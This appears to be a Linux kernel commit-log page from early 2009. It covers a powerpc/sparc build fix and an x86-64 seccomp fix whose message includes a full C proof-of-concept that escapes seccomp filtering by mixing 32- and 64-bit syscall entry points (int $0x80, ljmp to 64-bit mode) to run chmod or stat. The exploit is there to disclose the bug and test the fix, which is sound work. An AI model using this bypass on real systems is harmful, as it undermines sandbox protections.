1. 19 3月, 2009 1 次提交
    • S
      numa, cpumask: move numa_node_id default implementation to topology.h, fix · 17ad6ea6
      Stephen Rothwell 提交于
      Impact: build fix for powerpc and sparc
      
      Today's linux-next build (powerpc allyesconfig) failed like this:
      
      > In file included from include/linux/mmzone.h:776,
      >                  from include/linux/gfp.h:5,
      >                  from include/linux/kmod.h:23,
      >                  from include/linux/module.h:14,
      >                  from init/version.c:11:
      > arch/powerpc/include/asm/mmzone.h:32: error: expected '=', ',', ';', 'asm' or '__attribute__' before 'numa_cpumask_lookup_table'
      
      Caused by commit 082edb7b ("numa,
      cpumask: move numa_node_id default implementation to topology.h") from
      the cpus4096 tree which removed the include of linux/topology.h from
      linux/mmzone.h.
      
      Same for sparc64 defconfig.
      Signed-off-by: NStephen Rothwell <sfr@canb.auug.org.au>
      Acked-b: Rusty Russell <rusty@rustcorp.com.au>
      Cc: ppc-dev <linuxppc-dev@ozlabs.org>
      LKML-Reference: <20090319220322.3baa4613.sfr@canb.auug.org.au>
      Signed-off-by: NIngo Molnar <mingo@elte.hu>
      17ad6ea6
  2. 17 3月, 2009 1 次提交
  3. 03 3月, 2009 1 次提交
    • R
      x86-64: seccomp: fix 32/64 syscall hole · 5b101740
      Roland McGrath 提交于
      On x86-64, a 32-bit process (TIF_IA32) can switch to 64-bit mode with
      ljmp, and then use the "syscall" instruction to make a 64-bit system
      call.  A 64-bit process make a 32-bit system call with int $0x80.
      
      In both these cases under CONFIG_SECCOMP=y, secure_computing() will use
      the wrong system call number table.  The fix is simple: test TS_COMPAT
      instead of TIF_IA32.  Here is an example exploit:
      
      	/* test case for seccomp circumvention on x86-64
      
      	   There are two failure modes: compile with -m64 or compile with -m32.
      
      	   The -m64 case is the worst one, because it does "chmod 777 ." (could
      	   be any chmod call).  The -m32 case demonstrates it was able to do
      	   stat(), which can glean information but not harm anything directly.
      
      	   A buggy kernel will let the test do something, print, and exit 1; a
      	   fixed kernel will make it exit with SIGKILL before it does anything.
      	*/
      
      	#define _GNU_SOURCE
      	#include <assert.h>
      	#include <inttypes.h>
      	#include <stdio.h>
      	#include <linux/prctl.h>
      	#include <sys/stat.h>
      	#include <unistd.h>
      	#include <asm/unistd.h>
      
      	int
      	main (int argc, char **argv)
      	{
      	  char buf[100];
      	  static const char dot[] = ".";
      	  long ret;
      	  unsigned st[24];
      
      	  if (prctl (PR_SET_SECCOMP, 1, 0, 0, 0) != 0)
      	    perror ("prctl(PR_SET_SECCOMP) -- not compiled into kernel?");
      
      	#ifdef __x86_64__
      	  assert ((uintptr_t) dot < (1UL << 32));
      	  asm ("int $0x80 # %0 <- %1(%2 %3)"
      	       : "=a" (ret) : "0" (15), "b" (dot), "c" (0777));
      	  ret = snprintf (buf, sizeof buf,
      			  "result %ld (check mode on .!)\n", ret);
      	#elif defined __i386__
      	  asm (".code32\n"
      	       "pushl %%cs\n"
      	       "pushl $2f\n"
      	       "ljmpl $0x33, $1f\n"
      	       ".code64\n"
      	       "1: syscall # %0 <- %1(%2 %3)\n"
      	       "lretl\n"
      	       ".code32\n"
      	       "2:"
      	       : "=a" (ret) : "0" (4), "D" (dot), "S" (&st));
      	  if (ret == 0)
      	    ret = snprintf (buf, sizeof buf,
      			    "stat . -> st_uid=%u\n", st[7]);
      	  else
      	    ret = snprintf (buf, sizeof buf, "result %ld\n", ret);
      	#else
      	# error "not this one"
      	#endif
      
      	  write (1, buf, ret);
      
      	  syscall (__NR_exit, 1);
      	  return 2;
      	}
      Signed-off-by: NRoland McGrath <roland@redhat.com>
      [ I don't know if anybody actually uses seccomp, but it's enabled in
        at least both Fedora and SuSE kernels, so maybe somebody is. - Linus ]
      Signed-off-by: NLinus Torvalds <torvalds@linux-foundation.org>
      5b101740
  4. 13 2月, 2009 1 次提交
  5. 01 2月, 2009 6 次提交
  6. 16 1月, 2009 1 次提交
  7. 15 1月, 2009 1 次提交
  8. 14 1月, 2009 1 次提交
  9. 13 1月, 2009 1 次提交
  10. 08 1月, 2009 6 次提交
  11. 07 1月, 2009 4 次提交
  12. 01 1月, 2009 1 次提交
  13. 31 12月, 2008 15 次提交